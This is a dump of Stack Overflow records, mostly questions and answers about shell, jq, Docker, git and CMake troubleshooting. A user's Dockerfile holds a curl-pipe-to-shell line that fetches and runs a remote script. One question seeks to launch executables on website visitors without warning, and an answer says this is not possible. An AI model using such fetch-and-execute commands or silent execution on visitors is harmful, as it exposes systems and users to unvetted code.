has comment: http://stackoverflow.com/comment/136046978
linked to: http://stackoverflow.com/q/36565295
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/77182077
tagged with: jsonschema
favorite count: 0
has comment: http://stackoverflow.com/comment/136061456
has body: I have written a JSON schema file for my Kubernetes Helm values files. The schema defined some required properties. I would like to publish modified schema without all required properties. Background: With helm, it's possible to define a subset of the values files. IntelliJ highlights some error on such subset YAML files, since it misses some "required keys". Thats fine in this context, since the YAML files which holds a subset of the configuration will be merged with the base configuration. Example JSON { "$schema": "http://json-schema.org/draft-07/schema#", "type": "object", "properties": { "blackbox": { "type": "object", "properties": { "enabled": { "type": "boolean" } }, "required": ["enabled"] } }, "required": ["blackbox"] } The schema itself is repeatable, the "required" key can also be found in a 9th or 10th nested level. That's why I need a solution which enables to do it recursively. The step should be executed in GitHub Action, however any shell based solution is fine, too. I was trying to play with jq, but I don't find the way here. Example Output: { "$schema": "http://json-schema.org/draft-07/schema#", "type": "object", "properties": { "blackbox": { "type": "object", "properties": { "enabled": { "type": "boolean" } } } } }
tagged with: github-actions
type: AnsweredQuestion

http://stackoverflow.com/a/77146128
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/77142682
score: 1
has body: You have your time in microsecond precision. So you are more or less on the right track but need to specify the correct date format. Sample code: endDatetime="12:53:12.846539" startDatetime="12:53:12.219691" endDatetimeMicros=$(date -d $endDatetime "+%s%6N") startDatetimeMicros=$(date -d $startDatetime "+%s%6N") result=$((endDatetimeMicros - startDatetimeMicros)) echo $result Difference in microseconds: 626848 To convert microseconds to seconds in bash this is a useful printf command: printf "%.3f\n" $(bc <<< "scale=3; $result / 1000000")
downvote count: 0

http://stackoverflow.com/a/77112067
has body: Its solved. Appears you cant do without any permission or launch auto from inside of website. And more than that it has to vulnerabilities.
score: 1
answers question: http://stackoverflow.com/q/77100448
downvote count: 0
upvote count: 1
type: Answer

amazon-ec2
tag name: amazon-ec2
tags question: http://stackoverflow.com/q/77069279
type: Tag
tags question: http://stackoverflow.com/q/77287231
tags question: http://stackoverflow.com/q/77279649
tags question: http://stackoverflow.com/q/77613523

http://stackoverflow.com/q/77122685
type: Question
has answer: http://stackoverflow.com/a/77123187
tagged with: expect
has comment: http://stackoverflow.com/comment/135958907
score: 0
tagged with: tcl
tagged with: shell
has comment: http://stackoverflow.com/comment/135958584
tagged with: bash
has body: I have a program I would like to navigate that is a little too annoying for my expect skills. As an example, consider it has 3 prompts that require 3 answers: Name: Question 1: Question B: Now if N, 1, and B came in that order every time, I'd be set. Unfortunately for me, this particular program can elect to prompt in any order, depending on inputs or how the wind is blowing in the student's living room.... who knows.... We'll also be running it many times in a row. I'll leave "and can ask Question 1 or Question One, and wants the same answer" for a different day..... Is there a way to easily monitor for an arbitrary prompt at the same time as another? Some kind of extended if/then or switch statement? I suspect I am going to be working with $expect_out and exp_continue.... I would also want the ability to set arbitrary responses.... for example, I might respond to Name with "Bob" then "Joe" on the second run. Thanks! I'm still in the research stage, and will be testing code later, but I was hoping to find better pointers than my search results in case this is not nearly so difficult as I am making out to be...
type: UnansweredQuestion
has title: Reaction to multiple disordered Linux Program prompts (using expect, tcl, or otherwise)
answer count: 1
has comment: http://stackoverflow.com/comment/135961156
has comment: http://stackoverflow.com/comment/135958160

http://stackoverflow.com/comment/136017846
type: QuestionComment
type: Comment
has text: @user1934428: If you look at the image where the cursor is on that line there is a single quote as a string.
score: 0
comment on: http://stackoverflow.com/q/77155640

http://stackoverflow.com/comment/135859611
comment on: http://stackoverflow.com/q/77063978
score: 2
has text: You can find this kind of error, by turning on tracing (`set -x`).
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136140722
has text: The trace reveals that you are running `sh`, not Bash. Voting to close as unreproducible. I will remind you to please read the [help] and in particular [How to ask](/help/how-to-ask) as well as the guidance for providing a [mre].
score: 0
comment on: http://stackoverflow.com/a/77121277
type: Comment
type: AnswerComment

http://stackoverflow.com/q/77175255
type: Question
has comment: http://stackoverflow.com/comment/136056896
tagged with: shell
tagged with: git-bash
linked to: http://stackoverflow.com/q/3569997
has comment: http://stackoverflow.com/comment/136054002
tagged with: command-line
has comment: http://stackoverflow.com/comment/136052845
has body: how are you doing? Let me explain what is happening to me: I've created a UE5 project and there are some huge files, I'm trying to remove them from the git directory using the command git rm --cached. When I try to delete a single file, using git rm --cached example/path/path, it works very well, like the image-0 shows: image-0 But when I put all paths in a single file, and try to use a while loop to delete them one by one, it doesn't work! I tried to use the command: while read line; do git rm --cached "$line"; done < filestoremove.txt and I got the error: error fatal: pathspec 'example/path/file.example?' did not match any files Like the image-1 shows: image-1 I've checked if the file had any special characters using Notepad++ and certified that the file is UTF-8. How u can see, the filestoremove.txt is in the same directory that Content/ folder is, take a look at image-2: image-2 An example of content in the file, image-3: image-3 As you can imagine it isn't possible to remove each one using git rm to each file without a loop command. I want to delete all archives listed in the filestoremove.txt using a single command.
tagged with: git
answer count: 1
has comment: http://stackoverflow.com/comment/136063291
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136053140
has answer: http://stackoverflow.com/a/77181204
has title: Trying to delete a bunch of files listed in a specific file using a git bash loop
has comment: http://stackoverflow.com/comment/136055985
tagged with: windows
accepted answer: http://stackoverflow.com/a/77181204
score: 0

http://stackoverflow.com/comment/136081186
comment on: http://stackoverflow.com/a/77190915
score: 1
type: Comment
type: AnswerComment
has text: @Hado99, think about `readarray -t fns < <(declare -F | grep -v "exclude some stuff") && declare -f "${fns[@]}"` -- no xargs needed at all.

http://stackoverflow.com/q/77155640
has title: MacOS shell creating a file containing a json
has comment: http://stackoverflow.com/comment/136017848
type: Question
has comment: http://stackoverflow.com/comment/136017808
has comment: http://stackoverflow.com/comment/136017858
has body: I have the following json: { "attributes": {}, "children": [ { "attributes": { "ignoreBoundsFiltering": "false" }, "children": [ { "attributes": { "text": "", "accessibilityText" : "Azione sull'account richiesta", } } ] } ] } Through the shell I have to create a file with the following text using the following syntax: echo '....' > k.json echo " { "attributes": {}, "children": [ { "attributes": { "ignoreBoundsFiltering": "false" }, "children": [ { "attributes": { "text": "", "accessibilityText" : "Azione sull'account richiesta", } } ] } ] } " > k.json I've tried using the slash ( \ ) with both single and double quotes, but I'm not succeeding. The problem that the json contains: Single quote in a label so I can't use single quote. Lots of double quotes therefore causing problems. Can you give me a hand?
tagged with: file
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/136019839
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/77155793
has comment: http://stackoverflow.com/comment/136017816
has comment: http://stackoverflow.com/comment/136017846
score: 0
tagged with: macos
tagged with: shell
has answer: http://stackoverflow.com/a/77157454
has comment: http://stackoverflow.com/comment/136017824
tagged with: terminal
answer count: 2
has comment: http://stackoverflow.com/comment/136019280

intellij-plugin
type: Tag
tags question: http://stackoverflow.com/q/77105912
tag name: intellij-plugin

http://stackoverflow.com/a/77121821
answers question: http://stackoverflow.com/q/77121773
has comment: http://stackoverflow.com/comment/135957672
has body: After fixing the Windows line endings issue in Filenames.txt (see Why does my tool output overwrite itself and how do I fix it?), try this: #!/usr/bin/env bash while IFS= read -r line do if -f "$line" ; then printf '%s|' "$line" cat "$line" fi done < Filenames.txt > Outputfile.txt
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/135960961
score: 1
upvote count: 1

http://stackoverflow.com/a/77095377
has body: #!/bin/bash # Your JSON data json_data=' { "group1": [ {"key1": "val1", "key2": "val2", "key3": "val3", "key4": "val4"}, {"key1": "bval1", "key2": "val2", "key3": "bval3"}, {"key1": "bval1", "key2": "xval2", "key3": "bval3", "key4": "bval4"} ], "group2": [ {"key1": "zval1", "key2": "val2", "key3": "zval3"}, {"key1": "zbval1", "key2": "zval2", "key3": "zval3"}, {"key1": "bval1", "key2": "xval2", "key3": "bval3"} ] }' # Update key3 and key4 values meeting the conditions updated_json=$(echo "$json_data" | jq ' .[] |= map( if .key2 == "val2" then .key3 += ",test" | if has("key4") then .key4 += ",test" else . end else . end ) ') # Print the updated JSON echo "$updated_json"
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/77095262
type: Answer
accepted answer of: http://stackoverflow.com/q/77095262

http://stackoverflow.com/comment/136126536
type: QuestionComment
has text: Does your user have permission to set affinity? What if you try running your `execute()` with sudo?
type: Comment
comment on: http://stackoverflow.com/q/77216250
score: 0

http://stackoverflow.com/comment/136126399
comment on: http://stackoverflow.com/q/77216118
type: QuestionComment
score: 2
has text: Do you know regex? The are similar to anchoring the match with `^` and `$` e.g. example 3 is like `"abcABC123ABCabc" =~ "^B.*?c"` which doesn't match. whereas with `%` it's like `"abcABC123ABCabc" =~ "B.*?c$"`
type: Comment

http://stackoverflow.com/a/77167271
answers question: http://stackoverflow.com/q/77166714
has comment: http://stackoverflow.com/comment/136038535
type: Answer
has body: It's not changing which file is open on FD 3, or what the contents of that file are. What changes is where in the file you're at. You're opening input.txt once. Before you run grep, the file pointer is at the front of the file. After you run grep, the file pointer is at the end of the file. It still points to the same file, but you're not at the front of it anymore, so there's no content left to read if the program you're running doesn't use seek() to rewind to the front. You can rewind to the front, if you run a program that does so: # Define a "rewind" function that uses Python rewind() { python -c 'import os, sys; os.lseek(int(sys.argv[1]), 0, os.SEEK_SET)' "$@" } # Create our input file echo 'test_word' >input.txt # Redirect from the input file exec 3<input.txt # Read from the input file once grep test_word <&3 # Rewind the input file back to the beginning rewind 3 # _Now_ we can read from the input file a second time grep test_word <&3
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/136038490
accepted answer of: http://stackoverflow.com/q/77166714
has comment: http://stackoverflow.com/comment/136038526
type: AcceptedAnswer

http://stackoverflow.com/a/77104607
has body: Thanks to the internal structure of the execution of a pipeline, you can execute out of a node (i.e. directly on the master). You can then execute your pipeline but put a sleep before pipeline or node. It would give something like that sleep(time:10,unit:'MINUTES') pipeline{ agent any //do your stuff }
answers question: http://stackoverflow.com/q/77088578
score: 0
accepted answer of: http://stackoverflow.com/q/77088578
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135929501
has comment: http://stackoverflow.com/comment/135927280
type: Answer

http://stackoverflow.com/q/77100448
tagged with: shell
has comment: http://stackoverflow.com/comment/135920013
has comment: http://stackoverflow.com/comment/135935862
has comment: http://stackoverflow.com/comment/135924489
has comment: http://stackoverflow.com/comment/135922463
has comment: http://stackoverflow.com/comment/135919396
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135933915
has answer: http://stackoverflow.com/a/77112067
answer count: 1
has comment: http://stackoverflow.com/comment/135919976
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/135933672
has comment: http://stackoverflow.com/comment/135921075
has comment: http://stackoverflow.com/comment/135935831
tagged with: com
has comment: http://stackoverflow.com/comment/135938617
has comment: http://stackoverflow.com/comment/135935840
has comment: http://stackoverflow.com/comment/135919683
has comment: http://stackoverflow.com/comment/135925492
has comment: http://stackoverflow.com/comment/135925655
tagged with: php
has title: How to launch executable file from website with php?
tagged with: sh
has comment: http://stackoverflow.com/comment/135933447
has comment: http://stackoverflow.com/comment/135920023
has body: I want to launch (not install) an .apk/.bat/sh files when clicked on the website in the Without warning or downloading. I found that codes in php offical website: <?php $WshShell = new COM("/home/user/Desktop/test.sh /C"); $oExec = $WshShell-\>Run("cmd /C dir /S %windir%", 0, false); ?\> Im running from Linux in VSCodiumBut i have a dot com problem: PHP Fatal error: Uncaught Error: Class 'COM' not found in /home/user/Desktop/test.php:6 Stack trace: #0 {main} thrown in /home/user/Desktop/test.php on line 6 I tried to add the extension and add the code in php.ini it got worse i guess, now it gives me that error: PHP Warning: PHP Startup: Unable to load dynamic library 'php_com_dotnet.dll' (tried: /usr/lib/php/20190902/php_com_dotnet.dll (/usr/lib/php/20190902/php_com_dotnet.dll: invalid ELF header), /usr/lib/php/20190902/php_com_dotnet.dll.so (/usr/lib/php/20190902/php_com_dotnet.dll.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Im not sure did i add the code right and the file with correct location.
tagged with: php-extension
score: -1
type: Question
upvote count: 0

http://stackoverflow.com/comment/135962585
has text: Thank You!! Can you provide explanation of each field between s and g ?
score: 0
comment on: http://stackoverflow.com/a/77124913
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136105669
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77204784
has text: That's true on _some_ Linux distros, but not _all_ Linux distros. You don't get GNU grep on Alpine, f/e -- you have Busybox grep there, so it's not GNU at all in the first place there, much less GNU with optional dependencies.
score: 1

http://stackoverflow.com/comment/135964454
has text: Thanks @Gilles Quénot for the answer, Your logic is working fine except one condition, If input file having disk-space 9% then it is also printed in output file but we want only those rows which is having >=80% Could you please help me to fix this?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77122237
type: Comment

http://stackoverflow.com/a/77166869
has comment: http://stackoverflow.com/comment/136038597
has body: Your question is ambiguous: You provide some commands and their output followed by a question, expecting readers to understand your intent; I suggest you'll get more helpful answers if you spend more time writing your question carefully. That said, if I do understand your question correctly, grep is using file descriptor 3 because you explicitly redirected standard input with &lt;&amp;3.
score: 0
type: Answer
downvote count: 1
upvote count: 1
answers question: http://stackoverflow.com/q/77166714

http://stackoverflow.com/comment/136039478
type: QuestionComment
has text: This looks to me like a job for [`string split`](https://fishshell.com/docs/current/cmds/string-split.html), not `eval`.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77168035

http://stackoverflow.com/comment/136078327
type: Comment
has text: in some situations, you could maintain a helper indexed array - whenever you insert a hash key for the first time, append the key as a value in the helper. Then you can access the "last" element of the hash (the one most recently added) by dereferencing through the helper. eg: `${hash["${helper[-1]}"]}`
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77185038

http://stackoverflow.com/comment/136077168
score: 0
has text: @DavidMaze, unfortunatelly it's a full log
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77188462

http://stackoverflow.com/comment/136106735
comment on: http://stackoverflow.com/a/77204784
type: Comment
type: AnswerComment
has text: Even though this didn't work for me, I still +1'd for effort of trying.
score: 0

http://stackoverflow.com/q/77208432
has comment: http://stackoverflow.com/comment/136112236
score: 0
has body: Im try up a Stack, but when i deploy a container using docker compose up, the postgresQL up, but my app in Python send this exception. Error in pythonapi But the entrypoint.sh still in container. enter image description here This is my docker-compose.yml version: '3' services: postgresql: image: postgres:alpine3.18 container_name: postgresql ports: - "5432:5432" environment: - POSTGRES_USER=paulitos - POSTGRES_PASSWORD=123456 - POSTGRES_DB=eventon pythonapi: build: context: . dockerfile: Dockerfile container_name: pythonapi This is my Dockerfile FROM python:alpine3.18 VOLUME /home/app/data WORKDIR /home COPY app /home/app WORKDIR /home/app RUN chmod +x entrypoint.sh EXPOSE 8000 CMD ["/home/app/entrypoint.sh"] #!/bin/bash echo -e "\033[0;32m Instalando dependencias \033[0;32m" pip install --upgrade pip pip install -r requirements.txt echo -e "\033[0;32m Iniciando aplicacao \033[0;32m" echo -e "\033[1;33m Iniciando Migração " $IP "\033[1;33m" python manage.py makemigrations python manage.py migrate echo -e "\033[1;33m Iniciando Serviço " $IP "\033[1;33m" python manage.py runserver
has comment: http://stackoverflow.com/comment/136112163
has comment: http://stackoverflow.com/comment/136112196
has answer: http://stackoverflow.com/a/77208491
answer count: 2
linked to: http://stackoverflow.com/q/38905135
tagged with: docker
has title: docker exec /home/app/entrypoint.sh: no such file or directory
type: Question
tagged with: shell
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/77208698
has comment: http://stackoverflow.com/comment/136112141

http://stackoverflow.com/a/77088437
type: Answer
answers question: http://stackoverflow.com/q/77088400
has body: Docker can access only file under the so mamed context folder subtree. That folder is passed as the last parameter to the docker build command. Inside the Dockerfile you can use only path relative to context folder and NO absolute/root paths. This is a Docker by design constraint.
has comment: http://stackoverflow.com/comment/135898212
score: 0

http://stackoverflow.com/comment/135980986
type: Comment
comment on: http://stackoverflow.com/a/77135067
type: AnswerComment
has text: Ok so you mean it has to be changed in remote server and if so should be customized in ssh_config file. Thanks for your assistant by the way.
score: 0

http://stackoverflow.com/a/77230785
has comment: http://stackoverflow.com/comment/136170231
has comment: http://stackoverflow.com/comment/136179527
has comment: http://stackoverflow.com/comment/136180896
has comment: http://stackoverflow.com/comment/136169285
has comment: http://stackoverflow.com/comment/136169859
has comment: http://stackoverflow.com/comment/136180204
has comment: http://stackoverflow.com/comment/136179101
has comment: http://stackoverflow.com/comment/136178774
type: Answer
has comment: http://stackoverflow.com/comment/136179327
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136155437
answers question: http://stackoverflow.com/q/77228627
has comment: http://stackoverflow.com/comment/136170143
has comment: http://stackoverflow.com/comment/136171633
accepted answer of: http://stackoverflow.com/q/77228627
has comment: http://stackoverflow.com/comment/136180046
has comment: http://stackoverflow.com/comment/136155291
has comment: http://stackoverflow.com/comment/136179719
has comment: http://stackoverflow.com/comment/136180397
has body: VBA can read/write text file w/o other library. Option Explicit Sub ReplaceTextInFile() Dim srcFPath As String Dim desFPath As String Dim FileContent As String Dim NewContent As String Dim FileNumber As Integer Dim des_txt, src_txt, i As Integer src_txt = Array("AAA", "BBB", "CCC") des_txt = Sheets("Sheet1").Range("D2:D4").Value srcFPath = "D:\temp\template.js" ' update as needed desFPath = "D:\temp\myscript.js" ' update as needed If Dir(srcFPath) = "" Then MsgBox "File is not exists:" & srcFPath, vbExclamation Exit Sub End If ' Read js file FileNumber = FreeFile Open srcFPath For Input As FileNumber Do Until EOF(FileNumber) Line Input #FileNumber, FileContent NewContent = NewContent & FileContent & vbCrLf Loop ' Replace the content For i = 1 To UBound(des_txt) NewContent = Replace(NewContent, src_txt(i - 1), des_txt(i, 1)) Next ' Update js file Close FileNumber FileNumber = FreeFile Open desFPath For Output As FileNumber Print #FileNumber, NewContent Close FileNumber End Sub template.js (AAA,BBB,CCC are placeholders for replacing) console.log('AAA') function test(c) { assert(c.constructor === Child) console.log('BBB') } console.log('CCC') Update Question: Can you modify the codes a little bit further? Basically those Array #s inside myscript.js are from Sheets("Sheet1").Range("E2:E4"). Option Explicit Sub ReplaceTextInFile() Dim FilePath As String Dim FileContent As String Dim NewContent As String Dim FileNumber As Integer Dim arr_txt, i As Integer arr_txt = Sheets("Sheet1").Range("D2:E4").Value FilePath = "D:\temp\myscript.js" If Dir(FilePath) = "" Then MsgBox "File is not exists:" & FilePath, vbExclamation Exit Sub End If ' Read js file FileNumber = FreeFile Open FilePath For Input As FileNumber Do Until EOF(FileNumber) Line Input #FileNumber, FileContent NewContent = NewContent & FileContent & vbCrLf Loop ' Replace the content For i = 1 To UBound(arr_txt) NewContent = Replace(NewContent, arr_txt(i,2), arr_txt(i,1)) Next ' Update js file Close FileNumber FileNumb…
has comment: http://stackoverflow.com/comment/136172001
has comment: http://stackoverflow.com/comment/136180776
score: 0

http://stackoverflow.com/q/77192288
type: Question
tagged with: mysql
tagged with: shell
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/136083403
upvote count: 0
has title: Get MySQL LOAD DATA Command Logs Using Bash Script
has answer: http://stackoverflow.com/a/77193701
tagged with: bash
has body: I am trying to use bash script to get the records loaded in the MySQL. How can we get this information using script? mysql> load data infile "directory path/test.txt" into table DEMO; Query OK, 4 rows affected (1.35 sec) Records: 4 Deleted: 0 Skipped: 0 Warnings: 0
downvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/77193701
has comment: http://stackoverflow.com/comment/136083395
score: -1

http://stackoverflow.com/comment/136141070
type: Comment
type: AnswerComment
has text: the canonical example is probably the code that aborts with the message "this can't happen". an alternative when you don't think tests are worth writing, or if you think they would obscure the focus of the code in an answer, is to state your assumptions as you did in your first comment and let the user of the code decide for themself
score: 0
comment on: http://stackoverflow.com/a/77219653

http://stackoverflow.com/q/77083171
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135889513
has comment: http://stackoverflow.com/comment/135889502
tagged with: zsh
has comment: http://stackoverflow.com/comment/135889139
has comment: http://stackoverflow.com/comment/135889474
has answer: http://stackoverflow.com/a/77083450
has body: I'm creating a CLI for my team to automate some repetitive tasks that we have to do. In order to avoid them having to configure the CLI with where their project is located, I'd like to search for the name of the project upon first run. I know that I need to use find, but I'm having problems figuring out how to properly use it. I've looked at many SO and SU answers, but nothing has really helped me so far. One problem is that I'm unsure of the directory syntax when specifying -name. I've seen it done in several different ways: 'DirName', '/DirName', '/DirName/', and '*/DirName/'. I figure the last one is probably right, because of the wildcard and the slashes, but I just don't know. Another problem is that I need the search to run quickly. The basic find / "DirName" -type d isn't enough because looks at all directories, so it's pretty slow. So I looked at trying to exclude certain directories like /System and /Library, but there's a lot more stuff to exclude. I've looked at using -mindepth 1 but that hasn't really helped me either. Lastly, I need only the path of the project to be returned from the command, and nothing else. There must be some way to do this that isn't verbose and runs in about 30 seconds or less. Thanks in advance!
has comment: http://stackoverflow.com/comment/135889366
upvote count: 0
tagged with: macos
tagged with: shell
has comment: http://stackoverflow.com/comment/135909467
has comment: http://stackoverflow.com/comment/135889497
has title: How can I use `find` to quickly search for, and return the location of, a specific directory on macOS without knowing where it might be?
has comment: http://stackoverflow.com/comment/135889564
has answer: http://stackoverflow.com/a/77083462
favorite count: 0
score: -2
has comment: http://stackoverflow.com/comment/135889142
has comment: http://stackoverflow.com/comment/135889445
has comment: http://stackoverflow.com/comment/135889587
has comment: http://stackoverflow.com/comment/135889573
answer count: 2
has comment: http://stackoverflow.com/comment/135889333
has comment: http://stackoverflow.com/comment/135889616
downvote count: 2
has comment: http://stackoverflow.com/comment/135909503
has comment: http://stackoverflow.com/comment/135889644
tagged with: bash

http://stackoverflow.com/comment/135964649
comment on: http://stackoverflow.com/q/77124990
has text: Of course it does not work. Why do you do it inside the sql file? My recommendation stated explicitly to do the redirection on the shell level. I don't say that it is **impossible** within PSQL (I don't know it well); perhaps there is a possibility to specify appending to a file name after `TO`, but this would then not be called _redirection_. My suggestion uses shell features, and since you tagged the question as _shell_, I assumed that you would be fine with such a solution.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/77204012
upvote count: 1
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/136104796
score: -1
downvote count: 2
has answer: http://stackoverflow.com/a/77204326
type: Question
tagged with: shell
type: UnansweredQuestion
has body: I have used the ip address cmd. After pulling up my ip address and trying to use find or grep I get nothing when searching for text files that include the ip address. Following have been attempted as I was told would be proper, please help me correct. Will use _ in place of ip address. ` grep ___.___._.___ grep ^___.___._.___ When this failed I tried the find cmd and would get the error when trying to search all files under the directory. find: unknown predicate -rl I tried find another cmd and all I get is permission denied. find / -type f -exec grep -l IP {} \; Can someone please tell me what I am doing wrong?
has title: Locate text files with IP Address
tagged with: grep
tagged with: linux
linked to: http://stackoverflow.com/q/427979

http://stackoverflow.com/comment/136097067
comment on: http://stackoverflow.com/q/77196656
type: QuestionComment
type: Comment
score: 0
has text: You did not show the content of `$DIR_PROJECTS`. Could it be that this variable does **not** contain **absolute** pathes of your project? For debugging, run your code with `set -x`.

http://stackoverflow.com/q/77138083
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135986277
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135986236
has answer: http://stackoverflow.com/a/77140497
has comment: http://stackoverflow.com/comment/135986370
has comment: http://stackoverflow.com/comment/135986363
favorite count: 0
score: 2
tagged with: cmake
upvote count: 2
has comment: http://stackoverflow.com/comment/135986441
tagged with: windows
has comment: http://stackoverflow.com/comment/135986343
answer count: 1
has comment: http://stackoverflow.com/comment/135986347
tagged with: c++
has title: The command "cmake -S . -B builde -G "Unix Makefiles" " no longer seems to work on my windows machine (not able to compile a simple test program)
has body: I just discovered that the following command cmake -S . -B build -G "Unix Makefiles" doesn't seem to work anymore on my windows machine. I use it to build a ParticleSystem project I made in c++ using CMake and SDL2. Here is the run.sh file : #!/bin/bash #Create a build directory and navigate into it rm -rf build mkdir build build_type=Debug #Generate the Makefile using CMake cmake -S . -B build/$build_type -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=$build_type cmake --build build/$build_type --target ParticleSystem #Check if the compilation was successful if [ $? -eq 0 ]; then echo "Compilation successful. Running the ParticleSystem..." #Execute the ParticleSystem binary ./build/*/ParticleSystem else echo "Compilation failed. Please check the error messages." fi Git bash's terminal returns me the following output : -- The C compiler identification is GNU 13.2.0 -- The CXX compiler identification is GNU 13.2.0 -- Detecting C compiler ABI info -- Detecting C compiler ABI info - failed -- Check for working C compiler: D:/Program Files (x86)/mingw64/bin/gcc.exe -- Check for working C compiler: D:/Program Files (x86)/mingw64/bin/gcc.exe - br oken CMake Error at D:/Program Files/CMake/share/cmake-3.27/Modules/CMakeTestCCompile r.cmake:67 (message): The C compiler "D:/Program Files (x86)/mingw64/bin/gcc.exe" is not able to compile a simple test program. It fails with the following output: Change Dir: 'C:/Users/Utilisateur/Desktop/ParticleSystem/build/Debug/CMakeFi les/CMakeScratch/TryCompile-ap672m' Run Build Command(s): "D:/Program Files/CMake/bin/cmake.exe" -E env VERBOSE= 1 "D:/Program Files (x86)/GnuWin32/bin/make.exe" -f Makefile cmTC_003d3/fast D:/Program Files (x86)/GnuWin32/bin/make.exe -f CMakeFiles/cmTC_003d3.dir/b uild.make CMakeFiles/cmTC_003d3.dir/build /usr/bin/sh: -c: line 1: syntax error near unexpected token `(' /usr/bin/sh: -c: line 1: `D:/Program Files (x86)/GnuWin32/bin/make.exe -f C MakeFiles/cmTC_003d3.dir/build.make CMakeFiles/cmTC_003d3.dir/build' make.…
has comment: http://stackoverflow.com/comment/135986376
has comment: http://stackoverflow.com/comment/135986412

http://stackoverflow.com/comment/136096258
comment on: http://stackoverflow.com/q/77198302
type: QuestionComment
has text: iirc java is notoriously dependent on env variables. Starting w javahome. the combination of python - bash - java looks like an experiment in fragility. Python - java, or bash - java seems more reasonable. Or else aggressive dumps of perceived envs at each stage, possibly w dummy Java test prog. PATH settings in this post do not inspire confidence.
score: 0
type: Comment

http://stackoverflow.com/comment/136182029
score: 0
comment on: http://stackoverflow.com/a/77225838
type: Comment
has text: If I have three node ports open the first one doesn't work, if I take from the second only the part inside the do... done, it only gives me the last port that was requested in execution order. Since I have to run it in one line, is there a way to do it without using the loop? https://i.sstatic.net/BDUFz.png
type: AnswerComment

http://stackoverflow.com/comment/135988257
type: QuestionComment
comment on: http://stackoverflow.com/q/77139013
score: 1
has text: `var="$1,$2,$3, $HOSE"` -- the only legal spaces in an assignment are inside quotes, making them literal rather than syntactic.
type: Comment

http://stackoverflow.com/comment/136078983
has text: add `-v` to the `mosquitto_sub` line and it will return the `topic message` (also `mosquitto_sub` never returns the topic without the `-v`)
type: QuestionComment
comment on: http://stackoverflow.com/q/77188280
type: Comment
score: 0

http://stackoverflow.com/a/77211913
type: Answer
accepted answer of: http://stackoverflow.com/q/77211623
has body: ❯ yq '.[].people.[1:] | sort_by(.name)' file.yml Actually, changing only | to |= in order to update the array slice while retaining the original context, should do the job (and it indeed does with kislyuk/yq). With mikefarah/yq, however, the array for some reason is returned unsorted: yq '.[].people.[1:] |= sort_by(.name)' file.yml --- - foo: bar bing: - bong - bang people: - {name: pin, nicknames: ['pin', 'first']} - {name: deb, nicknames: ['deb']} - {name: roger, nicknames: ['roger']} - {name: kenny, nicknames: ['kenny']} - {name: annie, nicknames: ['annie']} So, instead, you could do it manually by slicing off the first item, then re-adding it to the independently sorted array slice: yq '.[].people |= .[:1] + (.[1:] | sort_by(.name))' file.yml --- - foo: bar bing: - bong - bang people: - {name: pin, nicknames: ['pin', 'first']} - {name: annie, nicknames: ['annie']} - {name: deb, nicknames: ['deb']} - {name: kenny, nicknames: ['kenny']} - {name: roger, nicknames: ['roger']}
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136118528
upvote count: 1
has comment: http://stackoverflow.com/comment/136118678
has comment: http://stackoverflow.com/comment/136118513
answers question: http://stackoverflow.com/q/77211623
downvote count: 0
score: 1

http://stackoverflow.com/comment/135875186
comment on: http://stackoverflow.com/q/77075130
has text: I use GitBash 2.42.0.2. Should I try another shell?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/77188462
has comment: http://stackoverflow.com/comment/136077687
answer count: 0
has comment: http://stackoverflow.com/comment/136077135
has comment: http://stackoverflow.com/comment/136077126
has comment: http://stackoverflow.com/comment/136076543
has comment: http://stackoverflow.com/comment/136076425
tagged with: dockerfile
has body: I'm getting error while running my Dockerfile The command '/bin/sh -c microdnf -y install shadow-utils' returned a non-zero code: 1 Execution failed for task Dockerfile FROM docker.xxx.com/ubi8/ubi-minimal ARG DISTRIB_DIRECTORY LABEL Team="xxx" COPY ${DISTRIB_DIRECTORY} /usr/app/ RUN rm -fr /etc/yum.repos.d/* && curl xxx.net/scripts/add-ubi8-repo.sh | sh RUN microdnf -y install shadow-utils RUN microdnf -y install --nodocs java-11-openjdk-headless tzdata-java && microdnf clean all RUN groupadd --gid 1001 mygroup RUN useradd --uid 1001 --gid mygroup --shell /bin/bash --home-dir /usr/app --no-create-home myuser RUN chown -R myuser:mygroup /usr/app RUN chmod -R u+rwx /usr/app USER myuser EXPOSE 8080 ENTRYPOINT ["/usr/app/bin/docker-entrypoint.sh"] CMD ["xxx.jar"] If I delete RUN microdnf -y install shadow-utils I get the same error with the next line. Any suggestion why I'm getting this error and how to fix this?
tagged with: docker
type: Question
tagged with: shell
has title: Installing shadow-utils via microdnf failing in Docker ubi-minimal image
tagged with: docker-compose
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/136077168
score: 0

http://stackoverflow.com/a/77137483
upvote count: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77135598
